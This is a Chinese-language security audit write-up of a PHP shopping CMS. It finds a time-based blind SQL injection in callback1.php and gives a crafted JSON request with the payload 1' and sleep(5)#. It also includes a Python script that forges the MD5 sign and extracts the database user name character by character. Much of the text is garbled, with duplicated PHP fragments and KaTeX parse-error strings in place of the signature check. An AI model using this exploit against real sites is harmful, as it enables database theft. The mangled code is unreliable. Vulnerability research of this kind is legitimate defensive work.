1.在buy.php。69到71 行

sql="selectfromSLproductwherePid=".sql="select * from SL_product where P_id=".sql=\"selectfromSLproductwherePid=\".P_id;
result=mysqliquery(result = mysqli_query(result=mysqliquery(conn, $sql);
row=mysqlifetchassoc(row = mysqli_fetch_assoc(row=mysqlifetchassoc(result);

常规的查询语句,追踪$P_id

Pid=urlencode(P_id=urlencode(Pid=urlencode(_REQUEST[“P_id”]);

urlencode()函数原理就是首先把中文字符转换为十六进制,然后在每个字符前面加一个标识符%,对字符串中除了 -_. 之外的所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+)。

也就是说字母数字不会改变,而空格会被转义为+号。我不清楚+号是否会被当成空格解析

我百度了,空格被过滤的绕过方法:

发现+mysql中不能解析成空格,也就是这个urlencode函数把注入查询语句给限制了。
暂时审不了这个文件了。

2.在callback1.php文件中

sql="selectfromSLlistwhereLnolike".sql="select * from SL_list where L_no like '".sql=\"selectfromSLlistwhereLnolike\".P_no.\"’\";
result=mysqliquery(result = mysqli_query(result=mysqliquery(conn, $sql);
row=mysqlifetchassoc(row = mysqli_fetch_assoc(row=mysqlifetchassoc(result);

一样常规的sql语句,追踪$P_no

$P_no = $obj->P_no;
$json_string=file_get_contents(“php://input”);
obj=jsondecode(obj=json_decode(obj=jsondecode(json_string);

百度了解到:

  • 用file_get_contents(“php://input”)可以接收 数据
  • json_encode() 对变量进行JSON编码,

json格式:{“a”:“xiyouji”,“b”:“sanguo”,“c”:“shuihu”,“d”:“hongloumeng”}
也就是这个变量通过{“P_no”:“xx”}进行传值。
当然实现sql语句执行还需要一个前提条件:

if(strtolower(MD5(“P_address=”.KaTeX parse error: Expected \'EOF\', got \'&\' at position 12: P_address.\"&̲P_attach=\".P_attach.\"&P_city=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 9: P_city.\"&̲P_country=\".P_country.\"&P_email=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 10: P_email.\"&̲P_mobile=\".P_mobile.\"&P_money=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 10: P_money.\"&̲P_name=\".P_name.\"&P_no=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 7: P_no.\"&̲P_num=\".P_num.\"&P_postcode=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 13: P_postcode.\"&̲P_price=\".P_price.\"&P_province=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 13: P_province.\"&̲P_qq=\".P_qq.\"&P_remarks=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 12: P_remarks.\"&̲P_state=\".P_state.\"&P_time=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 9: P_time.\"&̲P_ =\".P_ .\"&P_type=\".KaTeX parse error: Expected \'EOF\', got \'&\' at position 9: P_type.\"&̲P_url=\".P_url.\"&pkey=\".PKEY))==strtolower(PKEY))==strtolower(PKEY))==strtolower(sign))

strtolower() 函数把字符串转换为小写。

也就是左边的MD5等于右边的变量的值,
也就是$sign=md5(左边)

到这里基本逻辑清晰了

在if条件符合下,以json格式提交各参数的值,在$P_no处可构造如:1’ and sleep(5)#

ps:提交一次没注入的正常值
第二次提交如果出现success并延迟5秒才出现说明利用成功

GET /scms/1.com.php/bank/callback1.php HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+ ,application/ ;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost:8088/scms/1.com.php/bank/
Cookie: authorization=fail; authorization4=1MHwwfHMxMXxzMTA0fHM5NHxzOTV8czk5fHM5Nnx3MXw%3D; PHPSESSID=5ebmbk6sahvingk2kik6ik3b47; CmsCode=rplp
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Content-Length: 526
{
“P_address”:“aaa”,
“P_attach”:“111”,
“P_city”:“aaa”,
“P_country”:“aaa”,
“P_email”:“aaa”,
“P_mobile”:“aaa”,
“P_money”:“22222”,
“P_name”:“aaaaa”,
“P_no”:“1’ and sleep(5)#”,
“P_num”:“aaa”,
“P_postcode”:“aaaa”,
“P_price”:“aaaaaa”,
“P_province”:“aaaa”,
“P_qq”:“11111”,
“P_remarks”:“22222”,
“P_state”:“3333”,
“P_time”:“4444”,
“P_ ”:“55555”,
“P_type”:“666”,
“P_url”:“7777”,
“sign”:“9f264a61fd8498352628f51738493b39”
}```

五秒后出现出现:9f264a61fd8498352628f51738493b39success

到这里漏洞证明存在,是延时注入,手工利用起来很麻烦,参考一个大佬的脚本改改。

import hashlib
import requests
import time
import sys
def md5(value): 
    m= hashlib.md5()
    m.update(value)
    return m.hexdigest()
def gen_data(P_no):
    value=\"P_address=aaa&P_attach=111&P_city=aaa&P_country=aaa&P_email=aaa&P_mobile=aaa&P_money=22222&P_name=aaaaa&P_no=%s&P_num=aaa&P_postcode=aaaa&P_price=aaaaaa&P_province=aaaa&P_qq=11111&P_remarks=22222&P_state=3333&P_time=4444&P_ =55555&P_type=666&P_url=7777&pkey=\" %P_no
    data={
    \"P_address\":\"aaa\",
    \"P_attach\":\"111\",
    \"P_city\":\"aaa\",
    \"P_country\":\"aaa\",
    \"P_email\":\"aaa\",
    \"P_mobile\":\"aaa\",
    \"P_money\":\"22222\",
    \"P_name\":\"aaaaa\",
    \"P_no\":P_no,
    \"P_num\":\"aaa\",
    \"P_postcode\":\"aaaa\",
    \"P_price\":\"aaaaaa\",
    \"P_province\":\"aaaa\",
    \"P_qq\":\"11111\",
    \"P_remarks\":\"22222\",
    \"P_state\":\"3333\",
    \"P_time\":\"4444\",
    \"P_ \":\"55555\",
    \"P_type\":\"666\",
    \"P_url\":\"7777\",
    \"sign\":md5(value)
    }
    return data
def veriy():
    #url=sys.argv[1]+\'/bank/callback1.php\'
    url=\'http://localhost:8088/scms/1.com.php/bank/callback1.php\'
    current_time=time.time()
    #r1=requests.post(url=url,data=json.dumps(gen_data(\"1\")),headers = {\'Content-Type\': \'application/json\'})
    r=requests.post(url=url,data=json.dumps(gen_data(\"1\' and sleep(5)#\")),headers = {\'Content-Type\': \'application/json\'})
    if time.time()-current_time>5 and \'success\' in r.content:
        print \'[*] vulunerbal\'
        return True
if veriy(): 
    user=\'\'
    for x in xrange(1,30):
        #url=sys.argv[1]+\'/bank/callback1.php\'
        url=\'http://localhost:8088/scms/1.com.php/bank/callback1.php\'
        current_time=time.time()
        r=requests.post(url=url,data=json.dumps(gen_data(\"1\' and if(length(user())=%s,sleep(5),1)#\" %x)),headers = {\'Content-Type\': \'application/json\'})
        if time.time()-current_time>5 and \'success\' in r.content:
            print \'[*] user() length: %s\' %x
            for y in range(1,x+1):
                for z in xrange(33,122):
                    current_time=time.time()
                    r=requests.post(url=url,data=json.dumps(gen_data(\"1\' and if(ascii(substring(user(),%s,1))=%s,sleep(5),1)#\" %(y,z))),headers = {\'Content-Type\': \'application/json\'})
                    if time.time()-current_time>5 and \'success\' in r.content:
                        print chr(z)
                        user+=chr(z)
    print \'[*]user():\',user```



·
·
收藏 打印